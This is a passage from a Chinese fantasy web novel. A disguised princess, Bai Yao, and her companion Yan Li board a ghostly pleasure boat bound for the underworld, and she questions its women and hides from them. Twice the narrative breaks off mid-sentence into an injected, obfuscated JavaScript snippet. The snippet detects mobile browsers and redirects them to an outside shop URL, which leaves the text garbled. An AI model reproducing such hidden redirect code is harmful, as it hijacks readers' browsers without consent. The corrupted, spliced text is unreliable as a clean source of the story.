舱顶檐边卷翘,镶着一圈精美的金边雕漆,屋檐前悬挂着几只红灯笼,将朱红色的船体更添上了几分喜庆和喧闹。 画舫驶入水中,一侧扇扇分明的金漆木雕长窗中透出昏黄的暖光,摇摇晃晃的暖黄倒映在暗淡河面上,连成了一片细碎的星光。遥遥望去,雕花窗棂上人影憧憧,不时传来阵阵嬉笑打闹声。 高大宽阔的画舫几乎占据了整条河道,缓缓如一座大山停在几人面前,支起的窗棂中飘来一阵醉人的酒气,如同曼妙的花香,勾得渔夫向前一个踉跄,眼中映着船上的融融灯火,充斥着惊喜之色:“乖乖,这该不会就是美人舫吧?” 河伯、晏离与白瑶在画舫出现的那一刻神色便凝重起来,那传说中的美人舫原本已经被证实为宗淇撒下的弥天大谎,而今居然真的出现在他们面前。 船上放下了一排阶梯,无人指引,却有女子轻笑在船上响起。 那笑声如同银铃撩拨在几人的心弦,三人对视一眼,晏离神色冷淡,河伯疑惑中带着好奇,白瑶眼中流露出感叹。 白瑶在心中想,不得不说,这声音怪好听的,若她是个男子,恐怕已经神魂颠倒了。 一不留神,那名渔夫已经率先冲上了阶梯,白瑶暗道不好,也化为男子装扮跟着晏离上了船。河伯紧随其后,脚刚踏上阶梯,梯子却突然升起,让他一屁股跌坐在了地上。 画舫随之驶离了岸边。 河伯拍拍屁股起来,追了上去,边跑边喊道:“等等我!我还没上船呢!” 登上船的白瑶听见身后的动静,回头扫了一眼收上来的阶梯,又望了一眼岸边追赶的河伯,淡定地冲他挥了挥手。 河伯一口气卡在喉咙里,差点两眼一黑,喘息道:“公主,我是让你们等等我,不是让你和我作别啊......” 只见虚空中又出现了一个漩涡状的屏障,画舫通过那道屏障,如同它出现时一般,一点一点消失在屏障之中。 河伯赶忙上前,一阵大风袭来,将他掀出去数十米。漩涡随着船尾消失,在空中缓缓闭合,河伯却被阻挡在了屏障之外。 132. 第 132 章 画舫船舱内的灯火透过一个个窗棂泼洒在甲板上,那灯火似有魔力一般,让人挪不开眼睛,看久了只觉得身上热血沸腾起来。 靠得近了,画舫的喧嚣愈加清晰,混杂着男女的调笑、怒骂,嘈杂又混乱的脚步声,和哗哗水声。酒气扑鼻,清冽如花香,曼妙又刺激,如同一只看不见的手勾着客人进入船舱。 白瑶恍然回神,与晏离对视一眼,警觉地打量了一下四周幽暗的水域。四周漆黑无比,已然不是刚才上岸的地方,画舫匀速地向前行进,昏黄的光线映照在水上,水波平缓,即使有光依然很难辨认水面的情况。 “咕咚”水中发出一声轻微的声响。 晏离与白瑶定睛望去,只见不远处的水面上有一个起伏的影子,随着水波飘荡着,像是一块僵硬的木板。待船驶得再近一些,光线从漆黑的水面一点一点照亮那个影子,白瑶才惊然瞪大了眼睛。 那是一具尸体。 更像是一具骷髅。 他身上虽有皮肉,却如同被吸干了一般凹陷下去,只留下了一具骨架的形状。不知在水面飘了多久,一条腿从小腿根部截断,零碎的骨头扭曲地折叠在腰侧。 白瑶看的膝盖一痛,紧紧攥住晏离的袖子,用轻的不能再轻的声音问:“那是人吗?” 晏离冷静地望着那具尸身,顿了一下,微微蹙起眉:“看来美人舫会带走公子的传言并非是假的。” 白瑶倒吸一口冷气,又往晏离身后缩了缩,侧头想对渔夫嘱咐一句,却发现身边空空如也。 “他已经进去了。”晏离道,神色却一点不慌,带着白瑶向船舱走去。 “等等......”白瑶拽住晏离:“若是船舱里有鬼怪怎么办?这件事非同小可,我们应该去长乐宫找人来看看。” 晏离的脚步顿了一下:“来不及了。” 话音刚落,船舱的门突然吱呀一声被推开,一双赤裸的玉足从船舱跨出来,她身着红底白襟点缀着繁花的鲜艳襦裙,头发用珊瑚松松挽起,坠着几颗光泽鲜亮的珍珠。眼线纤长,嘴唇红润,裸露的皮肤带着潮红,微微抬眼之间,一双如墨一般黑的眼睛带着醉意打量起门外的二人。 她的目光柔和,却不知为何叫白瑶心里一颤。 不消片刻,女人眯起眼轻呵一声:“我以为只有一位客人呢,原来是三位。怠慢了二位,是妾身的不是,快请进。” 晏离并未向前,一双如雾一般的眸子冷淡地望着女人。 女子见二人停在原地,勾起红唇笑道:“是我考虑不周,我是锦娘,是这座画舫的引路人。二位请随我来。” 白瑶紧紧贴着晏离走进船舱内,跨进门槛时,锦娘余光投来一束若有若无的目光,白瑶立刻低下头躲在了晏离的白衣之后。 船舱内别有洞天,宽敞如一栋精致的酒楼,两旁坐满了形色各异的人。有的是穿着鲜亮、打扮俏丽的女子,有的是双眼迷蒙、一脸醉意的男子,三三两两倚靠在软垫上,笑得花枝乱颤,醉得东倒西歪,随着船舱的摇晃,跌跌撞撞的人影在窗棂上肆意生长。 年轻貌美的女子一手挽着男人的手臂,靠在他的肩上,一手拎起酒壶,酒水如一道虹光灌入男人手执的杯中。男子满脸通红双眼迷离,精神却依旧饱满,对着另一位仁兄嚷嚷道:“来啊,继续......” “看我的”“我的才好看呢。”“我这可是新买的......”几个女子团坐在一起,对着镜子互相比着头发、耳垂上带的各色珠玉。 “爷,您醉了......”不知是哪位美娇娘细声细气的叮咛,被一声带着醉意的反驳淹没“不,我没醉......这么一点酒怎么会醉呢”。 白瑶跟在晏离身后,探出半个头悄悄打量船舱内的环境,一不留神踩到了一个滚落在地的酒杯,脚下一滑,差点仰面倒在地上。还好手里还紧紧攥着晏离的袖子,被他轻轻往前一带,又给拉了回来。 锦娘在前头带路,蹙眉向后看了一眼,又若无其事地向前走去。 接着又传来几声豪迈的笑声,如同惊雷一般轰然炸开,引得众人纷纷望去,却也不知他们在说什么做什么。 “来,划拳......一二......哈哈哈哈哈哈你输了......” “爷,我再给您倒一杯......” “秋月无边秋水凉,画楼有泮画良人呐啊......” 酒气混杂在靡靡之音中,琴弦撩拨如天外之音,轻缓曼妙,余韵绵长,飘向窗外融入了平静幽深的水中。 船舱内中空,一列木质阶梯沿着船舱四壁盘旋而上,连结着二三楼的廊道。不断有人穿过阶梯传来赤脚落在地板的咚咚咚咚声,如同擂鼓急促地敲击着耳膜。二楼的走廊上隐约也有人影晃动,淡淡的目光从楼上撇下,偶尔传来几声难以形容的声音。 虽说青丘没有那么多繁冗的规矩,但是如此混乱的场所也委实少见。 忽的眼前略过一阵风,一名女子在和同伴的推搡之中,向晏离扑来,粉色的衣裙如一张帘帐从而降,带着厚重的脂粉香气。 如若是寻常男子,便伸手将她扶一扶也不失一段佳话,但晏离身上隐隐传来寒意,不仅未出手,甚至不着痕迹地向旁边挪了半步,冷眼看那女子扑倒在地。 女子酒意上头,倒是未注意到晏离的动作,在地上滚了一圈,又笑嘻嘻地爬回同伴中和她们打闹起来。 白瑶远远瞥见一个熟悉的身影,扯了一下晏离的袖子,低声道:“看,那个渔夫在那儿!” 渔夫缩在船舱一角,被层层叠叠的人影挡着,若不是有意要找,还真不容易注意到。 暖黄的光映着他泛红的脸,神色三分清醒三分沉醉,蓦地朝他们看来,居然不着痕迹地挪开了目光,迷离的眼睛去找身旁的女子,身体也不由自主地靠了上去。 那女子画着艳丽的装,故作生气地推开渔夫,他又缠了上去。女子也不恼,给他斟了一杯酒,凑到他耳边不知说了什么,说得他眼睛一亮,笑得眯起眼睛,乖乖地捧起酒杯一饮而尽。 白瑶一阵恶寒,不知他们酒里卖的什么药,但没有出声阻拦,以免打草惊蛇。 锦娘将他们引到一处靠窗的角落坐下,一旁几名女子若有若无地打量着他们,眼中满是好奇。锦娘侧身对她们说:“这两位是贵客,你们好生招待。” 女子得了她的准许,一拥而上,将晏离与白瑶团团围住,拿来酒壶酒杯和一盘晶莹剔透的葡萄,讨好似地眨眨眼睛:“你们从哪里来?你们是做什么的?”声音伴着一阵好闻的香气,像是珠玉落盘一般清脆动人。 晏离冷着一张脸,如同散发着寒意的冰雕,女子一靠近便被他锋利冷冽的眼神喝止,但也有胆子大的凑近了,眼神在他身上一挑:“哥哥你板着一张脸做什么?来画舫上的男人哪一个不是为了寻快活?” “滚。”晏离沉声说。 近旁的几名女子偷偷笑起来,打趣道:“他让你滚呢。” 女子不服气地靠过来:“我不嘛......” 晏离眼神寒如剑光,盯着她说:“不要让我说第二次。” 女子只觉突然浑身一冷,心脏像是被人攥住,身体居然无法动弹。 “你怎么了?”身旁的女子摇了摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137796|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的肩膀,她才恍然身上一松,喘了一口气,这下再也不敢试探晏离了。 不明就里的女子还在嘟嘟囔囔:“什么嘛,怎么什么人都能上船?” 另一边,一只手指从白瑶的脸上划过,她不由地打了一个寒噤,耳边传来一声轻笑:“小哥哥你的皮肤真好,你平时都擦了些什么?” 白瑶向后躲去,敷衍道:“这是我天生的,平时什么也没擦。” 女子嘟起唇轻哼一声,挽上她的胳膊:“真叫人嫉妒。” 另一黄衣女子半跪在白瑶身侧伸手捏住她的脸颊,笑道:“呀,真的好滑嫩呢。” 几名女子在白瑶脸上戳戳捏捏,玩的不亦乐乎。白瑶招架不住,在几人上下其手中连连向后退去,突然身后一热,有人欺身而上贴在了她的身后。一只藕臂从她身后伸出来,搂着她的脖颈,递过来一只斟满了酒水的杯子:“小哥哥,喝一口酒吧。这酒可香了。” 白瑶咽了咽喉咙,沉声道:“我不会喝酒。” 身后似乎轻轻笑了一声:“哪有男人不会喝酒。”这句话虽然说者未必有意,但让白瑶心里一紧,拢了拢前襟,生怕自己露了馅。 “小哥哥,陪我喝一杯嘛,我举的手都痛了。”女子娇嗔道。 白瑶并不买她的账,将酒杯从她手上取下来,在众目睽睽之下放置在一旁,然后握住那双纤纤玉手,捏着嗓子说:“痛了我帮你捏捏啊。”一双白玉一般的手在她的搓揉之下变红,女子想将手抽回来,白瑶却不让,又加了几分力道狠狠捏了一把,直到女子倒吸了几口凉气才放过她。 “手如柔荑,肤如凝脂,真让人爱不释手啊。” 女子小心翼翼地揉着手,扯了扯嘴角:“小哥哥真会说话。” “小哥哥,你是做什么的?”身前一名身姿娇小的女子凑上来问,一双灵动的眼睛好奇地打量着白瑶。 白瑶神秘地一笑:“你们猜。” 周遭几名女子皆打量起她,眼中流露出思索的神情。女子歪着头眨了眨眼睛:“我们若是猜中了,你可要罚酒?” 白瑶面不改色道:“行啊,我让你们猜三次,可你们若是都不中怎么办?” 女子们纷纷答道:“我自罚三杯。” “我也可以。” “三杯就三杯。” 白瑶垂眸扫了一眼搁置在一旁的酒杯,抬眼调侃道:“我看你们个个都能喝,三杯不过是小菜一碟,不如回答我几个问题。若是你能答得令我满意,我便替你喝三杯。” 晏离向她看来,目光似乎带着一丝不认同,但白瑶并未放在心上,趁女子犹豫之间转头望了他一眼,用眼神示意他不必忧心。 “成交。”女子答应道。 女子们凑在一起边打量着她边小声嘀咕,煞有其事地商量了好一会儿,适才那名女子凑到她跟前,轻咳了两声说:“我们商量好了。” 白瑶点点头:“姑娘请。” “我看你身姿瘦弱,手不能提肩不能抗,应当不是干粗活杂役的料。你样貌堂堂,皮肤保养的很好,应当出身不凡。我猜,你是乐师?”女子目光灼灼地望着她,唇角微微扬起,眼中露出点点兴奋的光芒,似乎对她的身份志在必得。 约莫是白瑶幼时在有苏哥哥身边长大,在变换装束时无意识地向他靠拢,不经意间沾染了他的气质,一派儒雅温润的样子。 白瑶听后神色轻松而坦然,摊开双手遗憾道:“你猜错了,我并不擅长音律,何况乐师手上必有茧,你看我手上可有?” 仔细一看,白瑶的双手并不比那双柔夷差,手指如纤葱,没有半点茧子。 133. 第 133 章 女子蹙眉望着她那双手,目光一动,深吸一口气,迟疑了一下道:“你面容和双手都保养的很好,若非不谙世事,想来平日里很注重外表......你是戏子不成?” 白瑶忍不住笑了,她的笑容顾盼生辉,眼波荡漾,倒让几名女子看的有些发怔。 “承蒙姑娘夸奖,我的面貌和手都是天生的。我所言句句属实,可不会逢场作戏那一套,姑娘们别埋汰我了。” 女子的脸色有些不好看了,连猜两次都不中,第三次她也没把握。她将白瑶里里外外打量了无数次,见她面色平静,一点都不露怯,好似真不怕被人看出来一般。 白瑶在数道揣测的目光中微微一笑,清亮的嗓音提醒道:“仔细想想,你们只有一次机会了。” 几名女子面面相觑,眼中的疑惑更甚,不由生出一个念头:什么男人这么好看?和她们一样做服务行当的呗! 女子扭扭捏捏地凑到她跟前,紧紧盯着她的眼睛问:“你......你该不会,是个小倌吧?” 白瑶的笑容僵在唇边,低头飞快地瞥了一眼身上的装扮,眼中闪过一丝诧异,她怎么就成小倌了? 忽然,她耳尖一动,似乎捕捉到空气中传来轻微的、难以察觉的笑声,笑声如同在琴弦上一拨,声波如水纹在空气中微微荡开,又化在了平静如水的空气中,好像这一瞬间的变化只是她的错觉。 她侧头望向声音的来处,只见晏离神色淡然地望着她,虽然目光依旧清冷,但似乎心情不错? “很遗憾,我也不是小倌。”白瑶说。 女子不服气地嘟起唇,带着几分恼怒瞪着白瑶:“那你究竟是做什么的?” 白瑶慵懒地靠在身后的女子身上,轻佻地扬了一下眉,抿嘴笑道:“我不过山野一村夫,平时无所事事,没干过几件正经事儿。” 几名女子料想了多种猜测,怎么也没将她与山野村夫联系在一起,此时大眼瞪小眼,皆是茫然和惊愕。 “村夫?我不信,村夫怎么能有你这样的气质?你......”人群中一名女子质疑道。 又一女子出声道:“而且你手上一处茧子也没有,必是不常砍柴烧火洗衣做饭,你骗人!” 白瑶嘴角含笑,柔声哄骗她们道:“好姐姐,村夫也未必需要自己亲手砍柴烧火洗衣做饭,学几个小法术都能解决了,我骗你做什么?” 女子们眼底依旧翻腾着怀疑的神色,突然一人指向晏离,高声问道:“那他也是村夫?” 白瑶一愣:“他啊......”继而转头看向晏离,她可不敢随意诽谤他。 女子们也饶有兴致地望向晏离,眼中带着兴奋和逗弄的神色。 晏离抬起他那双清冷的眸子,轻描淡写地瞥了他们一眼,适才轻松的氛围突然凝固,周遭的气温似乎降低了不少,他沉声道:“我的身份猜错了,可不是罚酒这么简单。” 女子们忍了他很久,蛮不在意地哼哼道:“不告诉我们就算了。登上画舫的公子哪个不是来寻欢作乐的,他一副清高的样子做给谁看呐?” 周围传来几声带着情绪的附和:“就是。”“是啊。” 白瑶见气氛不对,赶紧揽上身侧女子的肩膀,从果盘中掐了一颗葡萄塞进她的口中,笑道:“管他做什么?我陪你们玩就是了。这强扭的瓜不甜,但我甜啊。” 女子们笑作一团:“呵呵呵呵小哥哥真会说笑。” 白瑶见气氛缓和,略松了一口气,半倚在身后的女子肩上,故作轻松地含了一颗葡萄,状似不经意地问道:“你们是从哪里来的?如何上船?又在船上待了多久了?” 女子们争相回答道:“我们生来就在船上。” “我也不知道我是从哪儿来的。”“我从来没下过船。” 这些回答有些出人意料,如果她们不是失去了记忆,不记得自己是如何上船的,那么恐怕这一船的姑娘都不是人。白瑶心底升起一阵寒意,略微思索了一下,掩去目色中的疑虑,又问道:“听说美人舫只接俊俏的公子,不接女子,可是真的?” “是真的。我们都是女子,为何还要接待女子?上船的公子是为了图个身心舒畅,我们又何尝不是?我们可不是那种人。”女子冲白瑶挤眉道。 “这么说,外头从来没有女子上过船?” 女子立即摇了摇头:“舫主不会让女子上船的,她能闻出女子身上的气味。若是有女子混上船,也会被舫主丢下去的。” 白瑶面无波澜,心里却委实惊了一下,这么说她现下的情况很是不妙。她想起方才在水面上看见的那具尸骨,该不会就是被他们从船上扔下去的人吧? 白瑶又含了一颗葡萄,缓慢地在口中将果肉碾碎,以掩饰心中的不平静:“舫主是什么人?怎么对外头的女子如此不留情面? 女子接着给她喂葡萄:“舫主就是舫主啊,画舫规定不收留女子,这是世人皆知的事情。明知这里不欢迎女子,还硬要上船,被丢下去不也是活该么?” 白瑶心里简直要为她的逻辑鼓掌了,真是好有道理。可偏偏她就是上船了啊,未来整个青丘都是她的,她怎么能被这一群不知是人是鬼的东西拿捏? 酸甜的滋味在口中蔓延,白瑶低声轻笑了几声:“你说的有理,便教那些女子自生自灭去罢。”她似是满足地眯了眯眼:“美人舫的传说在九曲河两岸流传已久,没想到居然是真的。这画舫究竟从哪里来?又要驶向何处?我看船上已有不少客人,这些客人都是什么人?” 女子嬉笑道:“你不知道的事儿可多着呢,画舫沿河漂游,这些客人都是从岸上来的,我们只管公子俊不俊,才不管他们是何身份呢。至于画舫驶向何处......我们也不知道,我们只消今朝有酒今朝醉,其他的我们也管不着呢。小哥哥你说是不是?” 她说的不清不楚,倒让白瑶有些迟疑。她目及之处有几位喝的酩酊大醉的男子,看不出是否是普通人,难道都是画舫沿河打捞上来的?不得不说,这些长得漂亮的公子哥儿也太没有防范意识了,怎么能随便跟人上船呢? 白瑶点点头,向上指了指:“二楼三楼是做什么的?” 女子神情一顿,不太自然地看了她一眼:“二楼是我们的房间,也有为贵客准备的客房,你若是好奇,晚点可以上去看看。三楼你就别想了,就连我们也是不能上去的。” 白瑶听出了些门道,对三楼暗暗留了心思。 女子坐到她身前,抬起那双明媚的眸子望着她娇嗔道:“小哥哥对画舫这么好奇,难道就对我们不好奇吗?我们会的玩意儿可多了。”说着又靠近了几分,轻柔的呼吸扫过白瑶的鼻尖,白瑶刚想说话,忽觉身上一僵,一缕不善的目光锁死了她的身体,阻止了她的下一步动作,让她虚与委蛇的笑容缩了回去。 她呵呵一笑,敷衍道:“稍安勿躁。长夜漫漫,不急于一时嘛。” 女子有些不悦,冷哼一声,微微嘟起唇:“你问的我们可都回答了,你说好的要替我喝三杯,可是要抵赖?” 白瑶垂眸快速地扫了一眼酒杯,心想她可不敢随便喝船上的酒,勾起唇笑道:“姑娘们都看着,我怎么敢抵赖?但我的问题还没问完呢,姑娘可是不敢答了?” “别想用激将法,我们可不吃这一套。该说的都说了,你喝还是不喝?”女子拿起酒壶,凑到白瑶的唇边,紧紧盯着她的眼睛。一旁的女子们皆盯着她们二人,气氛产生 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“是不是不会喝?我教你呀。” “刚才还在逞能呢哈哈哈哈哈。” 白瑶才体会到什么叫骑虎难下,大不了喝呗,难道她还能被一杯酒难倒? 她咬了下唇,咽了咽喉咙,刚要衔住杯口,突然身侧伸来一只骨节分明的手,将杯子从她手中提走了。她黏在杯上的目光,顺着那只瘦削的手,挪移到他一身素净的白衣上,又顺势而上望向他的面容。 晏离并没有回望她,而是略一抬袖,行云流水般地仰头倾酒,将杯中的酒一饮而尽,神情、动作平和又流畅,不刻意也不多余,好似这杯酒本该就是他喝的。 一众女子们皆被他清冷的气质触动,望着他与白瑶二人揣测起来。“你们......你们该不会是那个吧?” 女子窃笑道,目光中似乎带着兴奋和好奇,像是勾子一般挂在他们的身上。 “难怪他对女子这么冷淡。”“原来他们是那种关系啊。” “是啊,没想到啧啧啧。” 白瑶一歪脑袋,疑惑地看了晏离一眼,她们在说什么? 女子们交头接耳偷笑起来,不一会儿吸引了好多目光,正在这时,人群中突然传来一个声音:“等等......我好像闻到了陌生女人的味道......” 笑声突然遏止,女子们皆是神色一变,向声音的来处望了一眼,又面面相觑,小声议论道: “有女人登船了?” “真的吗?在哪里?” “在哪里?”“是谁?” 今日登船的人统共就是刚才的三位,女子们的目光落在了眼前的二人身上,目光不再是好奇和欣喜,而是陡然一变,变成森冷与压抑的怀疑。 白瑶见势不妙,悠悠站起身:“姑娘们可是怀疑我了?刚才姑娘们离我那样近,难道还不知道我是男是女?我看其中说不定有什么误会,这样,我找一同上船的那位兄台,一起为大家证明。”她不等女子们反应,拨开拥挤的人群,边躲边向渔夫所在的方向走去。 好一会儿没见着他,也是该看看他在做什么了。 白瑶脚步一顿,停在渔夫刚才落座的位子,望着空空如也的坐垫,抬眼问坐在近旁的女子:“刚才那人呢?” 女子半坐在地上,裙摆撩到了小腿肚上,向后使眼色,饱含深意地笑道:“他呀,他说他要去夹板方便一下。”话音一落,周遭凑在一起的几名女子皆窃笑起来。 白瑶隐隐觉得不妙,回头与晏离对望一眼,顾不得紧跟在身后的女子们,匆匆向夹板走去。 134. 第 134 章 走出船舱,迎面一阵寒风刮过,水面沉的可怕,甲板上一片阒静。 白瑶与晏离走上船头,只见夹板上匍匐着一个人影,看衣着应当是一名女子。白瑶四处望了望,没有看到渔夫的身影,疑惑地上前几步,轻轻拍了拍那人的肩膀...... 那人突然转头,面容却不是美貌的女子,俨然一副骇人的恶鬼模样,双眼如一对黑窟窿没有焦距,呲着锐利的牙尖向她咬来。 就在白瑶连连后退之时,身侧一道白色飘过,一道寒光打在面如恶鬼的人影身上,将她从夹板掀了出去,“咕咚”一声没入水中。 白瑶这时才发现就在刚才那恶鬼匍匐的地方还卧着一人,只是这人薄如纸片,全然没了人样。 是那名渔夫。 他面色惨白,脸颊凹陷,浑身上下像是被人抽去了精魄一般,只剩孤零零的一副骨架。 晏离蹲下伸手一探:“尚有一丝生气,不过情况不妙。” 正在这时,船边突然伸上来一只手,一个湿淋淋的人影翻身而上,面色苍白,如娇花一般鲜艳的红唇微微颤抖,一双柔媚的眸子透过湿透了的刘海,无辜地望着他们。她身上透湿的衣裙紧紧贴着身体,越发显现出一丝娇艳欲滴和脆弱的美感。 她咬了下唇,在犹豫中抱紧了手臂,向前缓缓地迈进了一步...... 白瑶抬手“轰”的一声,毫不留情地将她掀下了船。不要以为换了一张脸,就认不出她是刚才那个恶鬼。 船舱传来脚步声,越来越多人向夹板涌来,船身渐渐向前倾斜。 夜色沉醉,在船舱透出的微光中,船沿又伸上来一只手,一个湿淋淋的人影再次翻身而上,抬起一双黑窟窿一般的眼睛,看不出是何神色,但胸部上下起伏,似乎带着怒气。那身浅色的衣裙紧紧贴着她的身体,却没有一丝的美感。 她呲着尖利的牙,哈了一口恶气,向前缓缓地迈进了一步...... 白瑶再次出手,“轰”的一声又将她掀了出去,人影在空中翻滚了几圈,咕咚坠入水中。 “快看!他们把小翠推下水了!”画舫内一阵骚乱,适才温和的女子们皆用一种危险的神色紧紧盯着他们二人。 前排的女子向前走了一步,身后还跟着乌泱泱的人群。她们每走一步,船便向前倾斜一分,夹板眼见便垂入水面。 白瑶与晏离对视一眼,他们还未找到这座画舫的秘密,不宜和这些女子正面冲突。两人在一起目标太过明显,不如兵分两路,潜入三楼汇合。 白瑶微微点了下头,忽然指着船舱正上方喊道:“看!那是什么!” 正在向她们靠近的女子眨了眨眼睛,纷纷抬起头向上看去,后头的人群不明就里,看到前头的人抬起头不知在看什么,越发用力向前挤去,挤出船舱抬头向后望。拥挤之间,船身开始摇晃,人群之中响起几声尖叫:“哎哟!你踩到我的脚了!” “你推我做什么?” “谁推你了?” “别挤了!” 白瑶趁她们混乱的间隙弓着身体冲进了人群,逆着人流向船舱内走去。她回头一看,却发现晏离和她冲散了,焦急间突然撞上了一个人。 那人揉了揉胸脯,皱眉道:“你往回跑做什么?”看来是将她当做了船上的女子。 白瑶并没有回答,转身向另一个方向窜去,那人突然高声叫道:“你是谁?” 话音一落,船上的人群突然齐刷刷地看过来。 白瑶从未被如此多人“驻足围观”,尴尬地笑了一声,突然飞身而上,顺着船舱内的阶梯翻上二楼。二楼围栏上零星站着几名探头的女子,见一副陌生的面孔突然上楼,惊得不知如何是好,正要阻拦就被白瑶一掌从二楼掀了下去。 船舱层高不高,一楼又挤满了人群,摔下一楼的女子被人群接住并无大碍,但却惹怒了其他女子。 “他上二楼了!” “快抓住他!” 楼下传来一阵骚动,原本向夹板涌去的人群又向船舱内挤来,倾斜的船身陡然回正,人群随之冲撞到一起,七零八落地跌倒了一地。 很快楼梯上传来急促的脚步声,一个接一个女子沿着阶梯冲上了二楼,赤脚落在木板上的咚咚声填满了整个船舱。 白瑶推门闯入一间厢房,拨开里面的纱帘,里头突然传来一声尖叫:“啊!谁啊!”白瑶低下头连连后退:“不好意思打扰了。” 一只纤细的手穿过纱帘扯住她的袖口,将她往里拉,帘内溢出娇媚的声音:“小哥哥,你是新上船的人吗?留下来陪陪我,嗯?” 白瑶正要拒绝,耳尖一动,听见门外的脚步声越来越近,一咬牙跳进帘帐内,搂上那名女子卷上被子。女子眉眼舒张,唇角微微扬起,突然脖子上陡然一凉,一柄冰刃抵在她的下颚上。 女子眼中划过一丝异样,但并不慌张,问:“小哥哥,你这是做什么?” 白瑶低声威胁道:“帮我对付门外的人,不然......” 女子神情一怔,不见惊慌反而两眼放光:“这么刺激的剧情居然被我遇见了,好好好,看我的。” 门忽然被推开,女子扯着嗓子喊道:“谁啊?哪个不长眼睛的打扰老娘睡觉?” 正要迈进来的人顿了一下:“惢姐,今天有几个人上了船,在船上大闹。有一个跑上了二楼,您看见她了吗?” 女子瞟了白瑶一眼,深吸一口气喊道:“没见着,你要是想找,进来便是。”白瑶听了瞪大眼睛,冰刃压上了她的咽喉。 门口那人却没了动静:“这......惢姐,既然你没看见,我们去别处找找罢。” 随着门阖上的声音,白瑶绷紧的肩颈微微一松,身下的女子扑闪着大眼睛,饶有兴致地打量着她,悄声问:“小哥哥,你把刀子拿开,我不会喊人的。你想做什么?她们为什么要抓你?” 白瑶抬了下眉,收回手中的冰刃,细细打量了她几眼,道:“你为什么帮我?” 惢姐呵呵笑道:“我在船上待了好多好多年,都不记得多少年了,每天就是花天酒地、虚度光阴,无聊死了。我好想念先前看过的那些话本,那些故事都可好玩可刺激了。你一进来我就觉得你和那些上来喝酒的男人不一样,你身上没有那种......那种男人的臭味。” 惢姐撇了撇嘴:“船上乱了才好,乱了才有趣。你想做什么?我帮你呀。” 白瑶对她说的话半信半疑,盯着她的眼睛问:“这船上的女子都是什么人?” 这位惢姐半支起身,垂眸轻笑一声:“好久没有人问我的身份了。我们......是不想轮回又无处可去的鬼魂呐。” 白瑶拧眉:“天界怎么会有鬼?” 惢姐不以为然地耸了下肩:“怎么没有?神仙不老不死,但也有新旧交替,如果魂魄尚在,没有坠入轮回,便只能在世上飘游。天界数百万年,难道还凑不齐一船女鬼吗?不过,这里已经不是天界的地盘了,若要说,这条河其实是通往冥界的。” “冥界?”白瑶陡然一惊,她已经离开天界了? “算是吧。这画舫每月都会往来天界和冥界,大多是寿数将尽之人才能看见这艘画舫,所以上船的人只能一路走到冥界,再也回不来。” 这哪里是美人舫,这是一座幽冥舫。 白瑶心中一动:“不对!有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137798|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来了!九曲镇曾有一位叫做名泮的公子就是从美人舫上逃走的。” 惢姐歪着头思索了半晌,摇了摇头:“我还从未听过有公子能从船上完好无损地回去,若是有,那便是他寿数未尽。” 惢姐忽然嘶了一声,眨眨眼睛:“等等,我想起来了,好像十几年前确实有过这么一桩事。船上有女子和上船的男人有了私情,想办法将男子扮作了女子在船上躲藏了几日,直到画舫再次靠岸,将男子送下了船。不过因为破坏了画舫的规矩,那名女子被硬生生敲断了腿丢下船,那个男人也一去不复返,后来船上就再也没有女子做傻事了。怎么,你见到那个男人了?” 白瑶点了点头。 惢姐不悦道:“说来他也不是什么好东西,他下了船倒好,可苦了帮他的女子,连做鬼都没个好下场。哎,感情到底是什么东西,让世上平添这么多痴男怨女啊。” 气氛变得幽怨又压抑,不过现在不是回味的时候,白瑶转而问:“你是怎么上船的?” 惢姐一顿,叹了一口气:“其实我也不知道,我变成鬼魂之后突然就被吸了过来,然后就再没离开过这艘画舫。我来的时候,船上已经有好些姑娘了,然后越来越多,越来越多,都快乘不下了。”惢姐眼珠一转:“对了,这画舫是有一位舫主的。” “舫主?” “对。”惢姐指了指房顶:“据说三楼就是舫主的房间。没有她的准许,我们不能上去。不如......你上去看看?” 门外缓和了一阵的脚步声又仓促起来,门外有人说道:“二楼都找遍了,怎么没见着人呐?” “明明看见他上二楼了。你们有没有仔细找啊?” “刚才不是有两个人吗?还有一个也不见了?” “我怎么知道,那么多双眼睛盯着都能不见!真是见了鬼了!” “可不就是见鬼了么?” 惢姐嘘了一声,向白瑶招了招手,让她向窗户靠近了几步,在她耳边低声道:“你从这扇窗户爬出去,踩着上边的窗沿就可以跳上三楼。不过进不进得去,得看你的本事了。” 白瑶探出窗外,船下是深不可测的河水,在昏黄的灯光下暗潮汹涌,而头上是一张紧闭的窗户,雕花窗扇勾勒着繁花和鸟雀,微微光线从窗内透出,不似一楼二楼那般明亮。 白瑶缩了回来,迟疑了一下,惢姐看着她:“怎么?你怕我害你?” 白瑶并非担心这个,而是不知舫主究竟是什么来头,不敢贸然冲上去。她摇了摇头:“你还不足以害我。” 惢姐“嘶”了一声,目光一变,多看了她几眼:“你还有些能耐,倒让我不想就这么放你走了,你一个男子进了姑娘堆,难道就没有一点感觉?” 白瑶冷漠摇头。 惢姐哈哈大笑:“真有意思。” 门外响起几声敲门声:“惢姐,我们进来了?” 白瑶与惢姐对视一眼,门打开的一瞬间,她推窗翻身而出,脚尖勾住窗檐,借着腰腹力量攀上了三楼的窗框,凑在窗外听了一会儿里边的动静。 